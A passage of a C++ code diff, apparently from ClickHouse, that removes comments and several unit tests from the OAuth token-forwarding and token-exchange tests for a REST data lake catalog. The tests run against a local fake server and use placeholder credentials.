grant. AccessToken requestToken(const TokenRequest & request) const; - /// RFC 8693 exchange of the user's token for a catalog session token, against - /// `oauth_token_exchange_uri`. AccessToken exchangeUserToken( const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthToken & auth_token, const AccessToken * prepared_actor_token = nullptr) const; AccessToken retrieveAccessToken(const std::string & client_id, const std::string & client_secret) const; - /// The catalog service principal's own token, minted with a `client_credentials` grant and - /// cached in `access_token`. While forwarding is on it is only ever the RFC 8693 `actor_token`. String getServicePrincipalToken(const CatalogState & catalog_state, UInt64 generation) const; struct PreparedAuthChanges; - /// Hook for `prepareSettingsChanges`: validate `changes` and apply them to `new_state`, - /// building the new auth artifacts, without publishing anything. When the OAuth credentials - /// change, a service token is fetched only for service authentication or delegation. virtual void applySettingsChangesToState( const DB::SettingsChanges & changes, const CatalogState & old_state, diff --git a/src/Databases/DataLake/S3TablesCatalog.h b/src/Databases/DataLake/S3TablesCatalog.h index 920d02e5fdf1..25b9032f92d5 100644 --- a/src/Databases/DataLake/S3TablesCatalog.h +++ b/src/Databases/DataLake/S3TablesCatalog.h @@ -46,7 +46,6 @@ class S3TablesCatalog final : public RestCatalog ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback( const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) override; - /// SigV4, not OAuth: there is no bearer token to forward. bool supportsUserTokenForwarding() const override { return false; } protected: diff --git a/src/Databases/DataLake/UnityCatalog.h b/src/Databases/DataLake/UnityCatalog.h index ff44472bad8c..f844e389b86c 100644 --- a/src/Databases/DataLake/UnityCatalog.h +++ b/src/Databases/DataLake/UnityCatalog.h @@ -27,8 +27,6 @@ class UnityCatalog final : public ICatalog, private DB::WithContext ~UnityCatalog() override = default; - /// Unity catalog authenticates with its own configured credential; the user's token is - /// accepted and ignored so that "this catalog does not forward" is visible at every call site. bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog.cpp index 1038cb1d2d88..cd68e67d2094 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog.cpp @@ -73,7 +73,6 @@ void installShape(ServerState & state, CatalogShape shape) state.setStaticRoute("/v1/namespaces/parent%1Fleaf_with_table/tables", R"({"identifiers":[{"name":"table_a"}]})"); } -/// The service-principal grant, for the catalogs created with `catalog_credential`. void installTokenEndpoint(ServerState & state) { state.setStaticRoute("/v1/oauth/tokens", R"({"token_type":"Bearer","expires_in":3600,"access_token":"mock-access-token"})"); diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp index a8f3e58490be..c580579c34be 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp @@ -34,12 +34,10 @@ namespace DB::ErrorCodes namespace { -/// Paths the fake catalog answers on. constexpr auto CONFIG_PATH = "/v1/config"; constexpr auto NAMESPACES_PATH = "/v1/namespaces"; constexpr auto NS_TABLES_PATH = "/v1/namespaces/ns/tables"; constexpr auto TABLE_PATH = "/v1/namespaces/ns/tables/t"; -/// The catalog's own (deprecated) token endpoint, and a separate IdP endpoint. constexpr auto CATALOG_TOKEN_PATH = "/v1/oauth/tokens"; constexpr auto IDP_TOKEN_PATH = "/idp/token"; @@ -61,8 +59,6 @@ DB::ContextMutablePtr makeQueryContext(const DB::ForwardedAuthTokenPtr & auth_to return context; } -/// A catalog with one namespace `ns` holding one table `t`. `ns` has no nested namespaces: a -/// `?parent=` query must answer with an empty list, or `getNamespacesRecursive` descends forever. void installCatalogShape(ServerState & state) { state.setRoute(NAMESPACES_PATH, [](const RecordedRequest & request) @@ -76,7 +72,6 @@ void installCatalogShape(ServerState & state) std::string loadTableResponse(const std::string & access_key_id, const std::string & table_uuid = "1e1c0e10-0000-4000-8000-000000000001") { - /// Far-future expiry so the vended credentials are cacheable. const auto expires_at_ms = std::chrono::duration_cast((std::chrono::system_clock::now() + std::chrono::hours(24)).time_since_epoch()) .count(); @@ -88,7 +83,6 @@ std::string loadTableResponse(const std::string & access_key_id, const std::stri table_uuid, access_key_id, expires_at_ms); } -/// The `client_credentials` / token-exchange endpoint, answering with `session_token_`. void installTokenEndpoint(ServerState & state, const std::string & path, Int64 expires_in = 3600) { auto counter = std::make_shared(0); @@ -123,8 +117,7 @@ TokenForwardingConfig exchangeAt(const std::string & uri, UInt64 cache_ttl = 300 }; } -/// The catalog keeps only a `std::weak_ptr` to the context (`DB::WithContext`), so `context` must -/// be a named local in the caller: a temporary would already be gone by the first request. +/// `DB::WithContext` retains only a weak pointer; callers must keep the context alive. std::shared_ptr makeCatalog( const TestServer & server, const DB::ContextPtr & context, @@ -144,7 +137,6 @@ std::shared_ptr makeCatalog( forwarding); } -/// Parses an `application/x-www-form-urlencoded` body into a map, percent-decoding values. std::map parseForm(const std::string & body) { std::map result; @@ -167,9 +159,6 @@ std::map parseForm(const std::string & body) return result; } -/// The server-level `enable_token_forwarding` switch, which `RestCatalog::getForwardedToken` -/// re-reads on every request. It lives on the `AccessControl` of the process-wide test context and -/// is off by default, so turning it on is a precondition of forwarding anything at all. struct TokenForwardingSwitch { explicit TokenForwardingSwitch(bool enabled) @@ -187,22 +176,16 @@ struct TokenForwardingSwitch } -/// A fixture rather than a line in each test: the switch is process-wide, so restoring it has to -/// happen even when a test fails an assertion or throws -- a member destructor always runs, a -/// trailing statement does not. class RestCatalogTokenForwarding : public ::testing::Test { protected: TokenForwardingSwitch forwarding{true}; }; -/// --- Passthrough ------------------------------------------------------------------------- - TEST_F(RestCatalogTokenForwarding, PassthroughSendsUserTokenOnEveryCall) { TestServer server; installCatalogShape(*server); - /// Registered so that a fallback to the service principal is *recorded* rather than throwing. installTokenEndpoint(*server, CATALOG_TOKEN_PATH); auto alice = makeToken(ALICE_TOKEN, "alice"); @@ -216,39 +199,11 @@ TEST_F(RestCatalogTokenForwarding, PassthroughSendsUserTokenOnEveryCall) for (const auto & request : requests) EXPECT_EQ(request.header("Authorization"), std::string("Bearer ") + ALICE_TOKEN) << "path: " << request.path; - /// `/v1/config` is fetched lazily with the same user's token, not unauthenticated. EXPECT_EQ(server->countRequestsTo(CONFIG_PATH), 1u); - /// Passthrough contacts no token endpoint at all. EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); } -TEST_F(RestCatalogTokenForwarding, ForwardingOffKeepsClientCredentials) -{ - TestServer server; - installCatalogShape(*server); - installTokenEndpoint(*server, CATALOG_TOKEN_PATH); - - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, TokenForwardingConfig{}, "client:secret"); - - ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); - - EXPECT_GE(server->countRequestsTo(CATALOG_TOKEN_PATH), 1u); - for (const auto & request : server->requestsTo(NAMESPACES_PATH)) - EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0"); - - const auto grants = server->requestsTo(CATALOG_TOKEN_PATH); - ASSERT_FALSE(grants.empty()); - const auto form = parseForm(grants.front().body); - EXPECT_EQ(form.at("grant_type"), "client_credentials"); - EXPECT_EQ(form.at("client_id"), "client"); - EXPECT_EQ(form.at("client_secret"), "secret"); - EXPECT_EQ(form.at("scope"), "lakekeeper"); -} - -/// The single most important test of the feature: a session with no token must be refused, and -/// must NOT quietly acquire the service principal's identity instead. TEST_F(RestCatalogTokenForwarding, NoUserTokenFailsClosed) { TestServer server; @@ -284,7 +239,6 @@ TEST_F(RestCatalogTokenForwarding, ForbiddenIsNotRetriedAsServicePrincipal) EXPECT_THROW(catalog->getTables(alice), DB::Exception); - /// Exactly one attempt, and no `client_credentials` grant behind the user's back. EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 1u); EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); } @@ -295,7 +249,6 @@ TEST_F(RestCatalogTokenForwarding, VendedCredentialsCacheIsPerPrincipal) installCatalogShape(*server); server->setRoute(TABLE_PATH, [](const RecordedRequest & request) { - /// Each principal gets a distinguishable access key id. const bool is_alice = request.header("Authorization") == std::string("Bearer ") + ALICE_TOKEN; return json(loadTableResponse(is_alice ? "AKIA_ALICE" : "AKIA_BOB")); }); @@ -316,9 +269,7 @@ TEST_F(RestCatalogTokenForwarding, VendedCredentialsCacheIsPerPrincipal) return metadata.getStorageCredentials(); }; - /// A `loadTable` request happens on every read regardless; what the cache saves is asking the - /// catalog to *vend credentials*, which the `X-Iceberg-Access-Delegation` header requests. - /// Its presence is therefore the exact signal for "these credentials were freshly vended". + /// `loadTable` runs even on a cache hit; this header distinguishes fresh credential vending. auto vending_requests = [&] { size_t count = 0; @@ -331,12 +282,9 @@ TEST_F(RestCatalogTokenForwarding, VendedCredentialsCacheIsPerPrincipal) auto alice_credentials = load(alice); ASSERT_EQ(vending_requests(), 1u); - /// A warm cache must not serve Bob what the catalog vended for Alice: the catalog has to vend - /// for him too. auto bob_credentials = load(bob); EXPECT_EQ(vending_requests(), 2u); - /// Alice's second read is served from her own entry, so nothing is vended again. load(alice); EXPECT_EQ(vending_requests(), 2u); @@ -348,12 +296,11 @@ TEST_F(RestCatalogTokenForwarding, VendedCredentialsCacheIsPerPrincipal) EXPECT_EQ(bob_s3->getAccessKeyId(), "AKIA_BOB"); } -/// --- Token exchange ---------------------------------------------------------------------- - TEST_F(RestCatalogTokenForwarding, ExchangeRequestHasRfc8693Shape) { TestServer server; installCatalogShape(*server); + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); installTokenEndpoint(*server, IDP_TOKEN_PATH); auto alice = makeToken(ALICE_TOKEN, "alice"); @@ -367,8 +314,6 @@ TEST_F(RestCatalogTokenForwarding, ExchangeRequestHasRfc8693Shape) const auto & exchange = exchanges.front(); EXPECT_EQ(exchange.method, "POST"); - /// The user's JWT must never reach a request line: it would land in the catalog's access log, - /// in every proxy log, and in `system.query_log.exception`. EXPECT_TRUE(exchange.query.empty()); EXPECT_EQ(exchange.query.find(ALICE_TOKEN), std::string::npos); EXPECT_EQ(exchange.path.find(ALICE_TOKEN), std::string::npos); @@ -381,31 +326,15 @@ TEST_F(RestCatalogTokenForwarding, ExchangeRequestHasRfc8693Shape) EXPECT_EQ(form.at("scope"), "lakekeeper"); EXPECT_EQ(form.at("client_id"), "client"); EXPECT_EQ(form.at("client_secret"), "secret"); - /// Absent rather than empty when delegation is off. EXPECT_EQ(form.count("actor_token"), 0u); EXPECT_EQ(form.count("actor_token_type"), 0u); -} - -TEST_F(RestCatalogTokenForwarding, CatalogCallsCarryExchangedTokenNotSubjectToken) -{ - TestServer server; - installCatalogShape(*server); - installTokenEndpoint(*server, IDP_TOKEN_PATH); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); - - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); for (const auto & request : server->requests()) { - if (request.path == IDP_TOKEN_PATH) - continue; - EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0") << "path: " << request.path; + if (request.path != IDP_TOKEN_PATH) + EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0") << "path: " << request.path; } - /// One exchange for the whole query, reused from the per-user cache. - EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); } TEST_F(RestCatalogTokenForwarding, ExchangedTokensAreNotSharedBetweenPrincipals) @@ -423,7 +352,6 @@ TEST_F(RestCatalogTokenForwarding, ExchangedTokensAreNotSharedBetweenPrincipals) server->clearRequests(); ASSERT_EQ(catalog->getTables(bob), DB::Names{"ns.t"}); - /// Bob must not be signed with Alice's session. const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); ASSERT_EQ(exchanges.size(), 1u); EXPECT_EQ(parseForm(exchanges.front().body).at("subject_token"), BOB_TOKEN); @@ -435,8 +363,7 @@ TEST_F(RestCatalogTokenForwarding, ExpiredSessionTokenIsExchangedAgain) { TestServer server; installCatalogShape(*server); - /// `expires_in = 1` leaves a validity window of 0 seconds (the 90% rule), so the cached entry - /// is already expired when the second query looks at it. + /// `expires_in = 1` rounds down to a zero-second validity window. installTokenEndpoint(*server, IDP_TOKEN_PATH, /* expires_in */ 1); auto alice = makeToken(ALICE_TOKEN, "alice"); @@ -447,8 +374,6 @@ TEST_F(RestCatalogTokenForwarding, ExpiredSessionTokenIsExchangedAgain) const auto after_first_query = server->countRequestsTo(IDP_TOKEN_PATH); ASSERT_GE(after_first_query, 1u); - /// The cached session token is already outside its validity window, so the second query must - /// exchange again rather than reuse it. ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); EXPECT_GT(server->countRequestsTo(IDP_TOKEN_PATH), after_first_query); } @@ -457,8 +382,6 @@ TEST_F(RestCatalogTokenForwarding, ActorTokenCarriesServicePrincipalTokenWhenEna { TestServer server; installCatalogShape(*server); - /// The service principal's own `client_credentials` grant. A hand-written route rather than - /// `installTokenEndpoint` so that the minted token is distinguishable from the exchanged one. server->setStaticRoute(CATALOG_TOKEN_PATH, R"({"access_token":"service_principal_token","expires_in":3600})"); installTokenEndpoint(*server, IDP_TOKEN_PATH); @@ -469,8 +392,6 @@ TEST_F(RestCatalogTokenForwarding, ActorTokenCarriesServicePrincipalTokenWhenEna ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - /// Delegation needs a token for the actor, so exactly one `client_credentials` grant happens. - /// This is the one case where such a grant is legitimate while forwarding is on. const auto grants = server->requestsTo(CATALOG_TOKEN_PATH); ASSERT_EQ(grants.size(), 1u); EXPECT_EQ(parseForm(grants.front().body).at("grant_type"), "client_credentials"); @@ -482,38 +403,10 @@ TEST_F(RestCatalogTokenForwarding, ActorTokenCarriesServicePrincipalTokenWhenEna EXPECT_EQ(form.at("actor_token"), "service_principal_token"); EXPECT_EQ(form.at("actor_token_type"), "urn:ietf:params:oauth:token-type:access_token"); - /// `sub=user, act=clickhouse`: the catalog is still called with the exchanged user session, - /// never with the service principal's own token. for (const auto & request : server->requestsTo(NAMESPACES_PATH)) EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0"); } -TEST_F(RestCatalogTokenForwarding, ActorTokenIsAbsentWhenDisabled) -{ - TestServer server; - installCatalogShape(*server); - /// Registered so that a `client_credentials` grant is *recorded* rather than throwing. - installTokenEndpoint(*server, CATALOG_TOKEN_PATH); - installTokenEndpoint(*server, IDP_TOKEN_PATH); - - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog( - server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH, /* cache_ttl */ 300, /* actor */ false), "client:secret"); - - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - - const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); - ASSERT_EQ(exchanges.size(), 1u); - const auto form = parseForm(exchanges.front().body); - /// Absent rather than empty: an empty `actor_token` is not the same thing as no delegation, - /// and strict servers reject it. - EXPECT_EQ(form.count("actor_token"), 0u); - EXPECT_EQ(form.count("actor_token_type"), 0u); - /// With delegation off nothing is minted for the service principal either. - EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); -} - TEST_F(RestCatalogTokenForwarding, ExchangeErrorIsReportedWithoutEchoingTheSubjectToken) { auto run = [](ServerState::Route token_route, const std::string & expected_phrase) @@ -540,7 +433,6 @@ TEST_F(RestCatalogTokenForwarding, ExchangeErrorIsReportedWithoutEchoingTheSubje } }; - /// An endpoint that does not implement the grant: 404 with an HTML body. run([](const RecordedRequest &) { return Response{.status = 404, .body = "Not Found", .content_type = "text/html"}; }, "not a JSON object"); @@ -548,17 +440,10 @@ TEST_F(RestCatalogTokenForwarding, ExchangeErrorIsReportedWithoutEchoingTheSubje "no `access_token` field"); } -/// --- Runtime toggle ---------------------------------------------------------------------- - -/// `enable_token_forwarding` is hot-reloadable, but it is consulted at authentication time, so a -/// session that captured a token before the operator turned it off would otherwise keep forwarding -/// that token for the whole life of the connection. An operator responding to a credential leak -/// cannot wait for every open connection to be closed, so the switch is re-read per request. TEST_F(RestCatalogTokenForwarding, DisablingTheServerSwitchAtRuntimeStopsForwarding) { TestServer server; installCatalogShape(*server); - /// Registered so that a fallback to the service principal is *recorded* rather than throwing. installTokenEndpoint(*server, CATALOG_TOKEN_PATH); installTokenEndpoint(*server, IDP_TOKEN_PATH); @@ -566,7 +451,6 @@ TEST_F(RestCatalogTokenForwarding, DisablingTheServerSwitchAtRuntimeStopsForward auto context = makeQueryContext(); auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); - /// With the switch on, forwarding works and the exchanged session token is cached. ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); @@ -581,20 +465,15 @@ TEST_F(RestCatalogTokenForwarding, DisablingTheServerSwitchAtRuntimeStopsForward catch (const DB::Exception & e) { EXPECT_EQ(e.code(), DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE); - /// The session does have a token, so the message must name the real reason rather than - /// reuse the "no token on this session" wording. const std::string message = e.displayText(); EXPECT_NE(message.find("`enable_token_forwarding` setting is off"), std::string::npos) << message; EXPECT_EQ(message.find("this session has none"), std::string::npos) << message; } - /// Refused, not quietly downgraded to the service principal. EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 0u); EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); - /// Turning the switch back on must not resurrect the session token minted under the old - /// policy: it was dropped, so the catalog exchanges again. TokenForwardingSwitch::set(true); ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); @@ -602,12 +481,6 @@ TEST_F(RestCatalogTokenForwarding, DisablingTheServerSwitchAtRuntimeStopsForward EXPECT_EQ(request.header("Authorization"), "Bearer session_token_1"); } -/// --- Auth change ------------------------------------------------------------------------- - -/// `ALTER DATABASE ... MODIFY SETTING catalog_credential = ...` is how an operator rotates a -/// leaked client secret. Both caches hold artifacts derived from the old one -- session tokens -/// exchanged with it, and the credentials the catalog vended to the resulting identity -- so -/// leaving them warm would keep the rotated secret working for the rest of the cache TTL. TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAndCredentials) { TestServer server; @@ -628,8 +501,6 @@ TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAnd catalog->getTableMetadata("ns", "t", query_context, metadata); }; - /// The `X-Iceberg-Access-Delegation` header is sent only when credentials have to be vended, - /// so its presence is the exact signal for "the credentials cache missed". auto vending_requests = [&] { size_t count = 0; @@ -643,7 +514,6 @@ TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAnd ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); ASSERT_EQ(vending_requests(), 1u); - /// Both caches are warm: nothing is exchanged and nothing is vended again. load(); ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); ASSERT_EQ(vending_requests(), 1u); @@ -658,7 +528,6 @@ TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAnd const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); ASSERT_EQ(exchanges.size(), 3u); EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); - /// Re-exchanged, and with the rotated secret rather than the one it replaced. EXPECT_EQ(parseForm(exchanges.back().body).at("client_secret"), "rotated_secret"); } @@ -692,8 +561,6 @@ TEST_F(RestCatalogTokenForwarding, CredentialRotationValidatesAsCallerWithoutPub ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); - /// Preparing a rotation must not publish either its state or its user token. The first - /// query still loads the old configuration and authenticates with the old credentials. server->setStaticRoute(CONFIG_PATH, R"({"defaults":{},"overrides":{}})"); ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); EXPECT_EQ(server->requestsTo(CONFIG_PATH).back().header("Authorization"), std::string("Bearer secret_") + ALICE_TOKEN); @@ -703,7 +570,6 @@ TEST_F(RestCatalogTokenForwarding, CredentialRotationValidatesAsCallerWithoutPub catalog->commitSettingsChanges(std::move(prepared)); server->clearRequests(); ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - /// The prepared config was already loaded; the first query must not load it again. EXPECT_EQ(server->countRequestsTo(CONFIG_PATH), 0u); ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); EXPECT_EQ(parseForm(server->requestsTo(IDP_TOKEN_PATH).front().body).at("client_secret"), "rotated_secret"); @@ -782,26 +648,6 @@ TEST_F(RestCatalogTokenForwarding, PassthroughCredentialRotationReloadsConfigWit EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); } -TEST_F(RestCatalogTokenForwarding, UnchangedCredentialStillReloadsConfigAsCaller) -{ - TestServer server; - installCatalogShape(*server); - installTokenEndpoint(*server, IDP_TOKEN_PATH); - auto alice = makeToken(ALICE_TOKEN, "alice"); - auto context = makeQueryContext(); - auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); - ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - server->clearRequests(); - - DB::SettingsChanges changes; - changes.emplace_back("catalog_credential", "client:secret"); - catalog->applySettingsChanges(changes, alice); - EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); - ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); - ASSERT_EQ(server->countRequestsTo(CONFIG_PATH), 1u); - EXPECT_EQ(server->requestsTo(CONFIG_PATH).front().header("Authorization"), "Bearer session_token_1"); -} - TEST_F(RestCatalogTokenForwarding, CredentialRotationRequiresForwardingAndCallerToken) { TestServer server; @@ -857,14 +703,6 @@ TEST_F(RestCatalogTokenForwarding, CredentialRotationUsesNewActorOnlyForDelegati EXPECT_EQ(parseForm(server->requestsTo(IDP_TOKEN_PATH).front().body).at("actor_token"), "actor_rotated_secret"); } - -/// A request that authenticated before the ALTER can only finish writing its result afterwards. -/// Clearing the caches at commit time does not cover that: the window is a whole catalog round -/// trip, so the write lands after the clear and puts the pre-rotation artifacts straight back. -/// Both are keyed to the auth generation instead, so such a write is unreachable. - -/// Parks a route until the test releases it, so an ALTER can be made to land while a request is -/// still in flight. Releasing from the destructor keeps a failed assertion from hanging the run. class ParkedRoute { public: @@ -922,7 +760,6 @@ class ParkedRoute TEST_F(RestCatalogTokenForwarding, InFlightVendedCredentialsDoNotOutliveTheirGeneration) { - /// Declared before the server so that it outlives the threads serving its routes. ParkedRoute parked; TestServer server; installCatalogShape(*server); @@ -954,7 +791,6 @@ TEST_F(RestCatalogTokenForwarding, InFlightVendedCredentialsDoNotOutliveTheirGen parked.enable(); std::thread in_flight(load); - /// Only reached when an assertion below aborts the test early; the normal path joins inline. SCOPE_EXIT({ parked.release(); if (in_flight.joinable()) @@ -972,8 +808,6 @@ TEST_F(RestCatalogTokenForwarding, InFlightVendedCredentialsDoNotOutliveTheirGen const auto vends_before = vending_requests(); - /// The parked query wrote its credentials back after the clear. They belong to the previous - /// generation, so this read must miss the cache and vend again. load(); EXPECT_EQ(vending_requests(), vends_before + 1); } @@ -990,10 +824,8 @@ TEST_F(RestCatalogTokenForwarding, InFlightGrantDoesNotClobberRotatedServiceToke if (secret != "secret") return json(R"({"access_token":"tok_for_rotated_secret","expires_in":3600})"); - /// Before parking is armed every grant is already outside its validity window, so the - /// warm-up leaves nothing reusable and the in-flight query is guaranteed to mint again. - /// The parked grant itself is long-lived, so that a clobber would actually stick and the - /// assertion is not satisfied by the token merely expiring. + /// Expire warm-up grants immediately to force a new grant in flight. + /// Keep the parked grant valid so expiry cannot hide an incorrect publication after rotation. const auto expires_in = parked.isEnabled() ? 3600 : 1; return json(fmt::format(R"({{"access_token":"tok_for_secret","expires_in":{}}})", expires_in)); })); @@ -1001,12 +833,10 @@ TEST_F(RestCatalogTokenForwarding, InFlightGrantDoesNotClobberRotatedServiceToke auto context = makeQueryContext(); auto catalog = makeCatalog(server, context, TokenForwardingConfig{}, "client:secret"); - /// Warm up outside the parked window: loads the config and establishes pooled connections. ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); parked.enable(); std::thread in_flight([&] { catalog->getTables(/* auth_token */ {}); }); - /// Only reached when an assertion below aborts the test early; the normal path joins inline. SCOPE_EXIT({ parked.release(); if (in_flight.joinable()) @@ -1025,22 +855,13 @@ TEST_F(RestCatalogTokenForwarding, InFlightGrantDoesNotClobberRotatedServiceToke server->clearRequests(); ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); - /// The parked grant used the pre-rotation secret, so it must not have replaced the token the - /// ALTER eagerly published -- nothing bounds how long that would keep the old credential live. const auto requests = server->requestsTo(NAMESPACES_PATH); ASSERT_FALSE(requests.empty()); EXPECT_EQ(requests.front().header("Authorization"), "Bearer tok_for_rotated_secret"); } - -/// `loadConfigIfNeeded` is a read-modify-write on the state with a slow `/v1/config` request in -/// the middle, and `config_mutex` does not exclude `commitSettingsChanges`. Republishing the -/// snapshot it started from would carry the pre-ALTER credentials back with it -- undoing the -/// rotation for good, not for a cache TTL. Reachable only under forwarding, where `/v1/config` -/// is deferred to the first user query rather than fetched in the constructor. TEST_F(RestCatalogTokenForwarding, ConfigLoadDoesNotRollBackAConcurrentCredentialChange) { - /// Declared before the server so that it outlives the threads serving its routes. ParkedRoute parked; TestServer server; installCatalogShape(*server); @@ -1054,7 +875,6 @@ TEST_F(RestCatalogTokenForwarding, ConfigLoadDoesNotRollBackAConcurrentCredentia parked.enable(); std::thread in_flight([&] { catalog->getTables(alice); }); - /// Only reached when an assertion below aborts the test early; the normal path joins inline. SCOPE_EXIT({ parked.release(); if (in_flight.joinable()) @@ -1072,9 +892,6 @@ TEST_F(RestCatalogTokenForwarding, ConfigLoadDoesNotRollBackAConcurrentCredentia ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); - /// The parked query resumes in the new generation, so it exchanges again -- and that - /// exchange authenticates with whatever credentials the published state now holds. They must - /// still be the rotated ones. const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); ASSERT_GE(exchanges.size(), 2u); EXPECT_EQ(parseForm(exchanges.back().body).at("client_secret"), "rotated_secret"); diff --git a/src/Databases/DataLake/tests/rest_catalog_test_server.h b/src/Databases/DataLake/tests/rest_catalog_test_server.h index 6e40581bafd7..cb0232dff6a7 100644 --- a/src/Databases/DataLake/tests/rest_catalog_test_server.h +++ b/src/Databases/DataLake/tests/rest_catalog_test_server.h @@ -30,9 +30,6 @@ namespace RestCatalogTest { -/// One request as the fake catalog saw it. Everything a test needs to assert on: the wire format -/// of a token exchange, that a bearer token reached the catalog, and -- via `query` -- that it -/// never reached a request line. struct RecordedRequest { std::string method; @@ -48,7 +45,6 @@ struct RecordedRequest } }; -/// What a route answers with. struct Response { int status = 200; @@ -66,14 +62,11 @@ inline Response respondWithStatus(int status, const std::string & body = R"({"er return Response{.status = status, .body = body, .content_type = "application/json"}; } -/// Shared, mutex-guarded state between the test and the request handlers. The handler factory -/// creates a fresh handler per request, so nothing may live in the handler itself. class ServerState { public: using Route = std::function; - /// Routes are matched on the path alone (the query string is recorded, never matched on). void setRoute(const std::string & path, Route route) { std::lock_guard lock(mutex); @@ -91,7 +84,6 @@ class ServerState return recorded; } - /// Every recorded request whose path is exactly `path`. std::vector requestsTo(const std::string & path) const { std::vector result; @@ -119,10 +111,7 @@ class ServerState route = it->second; } - /// An unexpected path is a test failure, not a 404 -- it is how "no request was made to - /// the token endpoint" is proven. Answering 599 rather than throwing keeps the failure - /// inside the request: an exception escaping a Poco worker thread aborts the process - /// before gtest can report which case failed. + /// Return an error instead of throwing out of a Poco worker thread, which would terminate the test process. if (!route) return Response{ .status = 599, @@ -150,9 +139,7 @@ class RequestHandler final : public Poco::Net::HTTPRequestHandler RecordedRequest recorded; recorded.method = request.getMethod(); - /// The *raw* path, not `Poco::URI::getPath()`: the latter percent-decodes, and Iceberg - /// encodes nested namespaces with `%1F` (the unit separator), so decoding would turn - /// `a%1Fb` into a path no route key can match. + /// Keep `%1F` in nested namespace paths encoded so it matches the route keys. recorded.path = query_pos == std::string::npos ? raw_uri : raw_uri.substr(0, query_pos); recorded.query = query_pos == std::string::npos ? std::string{} : raw_uri.substr(query_pos + 1); Poco::StreamCopier::copyToString(request.stream(), recorded.body); @@ -185,7 +172,6 @@ class RequestHandlerFactory final : public Poco::Net::HTTPRequestHandlerFactory std::shared_ptr state; }; -/// In-process fake Iceberg REST catalog on an ephemeral port. class TestServer { public: @@ -196,13 +182,9 @@ class TestServer , server_params(new Poco::Net::HTTPServerParams()) , server(std::make_unique(handler_factory, *server_socket, server_params)) { - /// The HTTP connection pool is a process-wide singleton keyed on host:port, and each test - /// gets a fresh ephemeral port that the kernel readily recycles. Without dropping the - /// cache, a test can be handed 